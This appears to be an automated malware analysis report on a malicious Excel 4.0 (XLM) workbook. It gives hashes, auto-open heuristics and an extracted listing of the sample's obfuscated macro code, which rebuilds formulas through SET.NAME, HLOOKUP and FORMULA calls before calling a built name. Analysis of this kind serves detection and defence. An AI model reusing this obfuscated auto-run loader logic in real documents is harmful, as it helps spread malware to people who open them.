Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5fc9e1e184a21077…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:38:16 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: f721950122205f5f118c6cfbae61d700 SHA-1: a9c3d59b07318b6fcaafe348d9a5a65c96e1a9b3 SHA-256: 5fc9e1e184a210771ae823fcccb0478962bfc1ba03866411c7de68a37fca961e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6502 bytes
SHA-256: d563c62fe8d9d39009924692b9fbd34fc919eb56d47bf376463bd9bc98de8876
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tSsWB
' 0018     25 LABEL : Cell Value, String Constant - ahiUfhgPOb len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A158 
' 0018     26 LABEL : Cell Value, String Constant - aWOMDfljmkq len=0 
' 0018     24 LABEL : Cell Value, String Constant - EvkuHKiBR len=0 
' 0018     20 LABEL : Cell Value, String Constant - gfjrX len=0 
' 0018     20 LABEL : Cell Value, String Constant - gYWUu len=0 
' 0018     24 LABEL : Cell Value, String Constant - hpXmGvBkp len=0 
' 0018     21 LABEL : Cell Value, String Constant - JIkZfm len=0 
' 0018     24 LABEL : Cell Value, String Constant - lwADMFDTG len=0 
' 0018     25 LABEL : Cell Value, String Constant - nbQwTEgVto len=0 
' 0018     27 LABEL : Cell Value, String Constant - nxmKYPUWCNlR len=0 
' 0018     25 LABEL : Cell Value, String Constant - PNiecwqPrz len=0 
' 0018     25 LABEL : Cell Value, String Constant - QEPwDFRjrr len=0 
' 0018     23 LABEL : Cell Value, String Constant - tErhQkIc len=0 
' 0018     22 LABEL : Cell Value, String Constant - TIuguDv len=0 
' 0018     27 LABEL : Cell Value, String Constant - TNmWDyoFtzOR len=0 
' 0018     25 LABEL : Cell Value, String Constant - uKyHOMvMRg len=0 
' 0018     20 LABEL : Cell Value, String Constant - vZefn len=0 
' 0018     24 LABEL : Cell Value, String Constant - wnPBxBXOE len=0 
' 0018     23 LABEL : Cell Value, String Constant - wtrrRCnC len=0 
' 0018     20 LABEL : Cell Value, String Constant - wzUdW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tSsWB,A63,"SET.NAME("nbQwTEgVto",VALUE("0"))",""
'  tSsWB,A68,"SET.NAME("ahiUfhgPOb",nbQwTEgVto)",""
'  tSsWB,A70,"SET.NAME("tErhQkIc",nbQwTEgVto)",""
'  tSsWB,A74,"SET.NAME("QEPwDFRjrr",COUNTA(TNmWDyoFtzOR))",""
'  tSsWB,A76,"SET.NAME("gfjrX",COUNTA(gYWUu))",""
'  tSsWB,A80,[],""
'  tSsWB,A85,"SET.NAME("TIuguDv","")",""
'  tSsWB,A89,"ahiUfhgPOb",""
'  tSsWB,A93,"SET.NAME("uKyHOMvMRg",HLOOKUP("*",TNmWDyoFtzOR,ahiUfhgPOb,FALSE))",""
'  tSsWB,A97,"wtrrRCnC",""
'  tSsWB,A102,"SET.NAME("aWOMDfljmkq",nbQwTEgVto)",""
'  tSsWB,A105,[],""
'  tSsWB,A108,"aWOMDfljmkq",""
'  tSsWB,A110,"JIkZfm",""
'  tSsWB,A112,"PNiecwqPrz",""
'  tSsWB,A117,"wnPBxBXOE",""
'  tSsWB,A121,"SET.NAME("nxmKYPUWCNlR",VALUE(HLOOKUP("*",gYWUu,wnPBxBXOE,FALSE)))",""
'  tSsWB,A125,"hpXmGvBkp",""
'  tSsWB,A130,"TIuguDv",""
'  tSsWB,A132,"tErhQkIc",""
'  tSsWB,A136,NEXT(),""
'  tSsWB,A140,"EvkuHKiBR",""
'  tSsWB,A142,"SET.NAME("f",INT(T(FORMULA(T(TIuguDv)&"",""&T(EvkuHKiBR)))))",""
'  tSsWB,A147,"wzUdW",""
'  tSsWB,A152,NEXT(),""
'  tSsWB,A155,RETURN(),""
'  tSsWB,A177,"SET.NAME("lwADMFDTG",A63)",""
'  tSsWB,A181,"TNmWDyoFtzOR",""
'  tSsWB,A186,"SET.NAME("gYWUu",R40C15)",""
'  tSsWB,A190,"SET.NAME("wzUdW",198)",""
'  tSsWB,A195,"SET.NAME("vZefn",1)",""
'  tSsWB,A197,lwADMFDTG(),""
'  tSsWB,A198,HALT(),""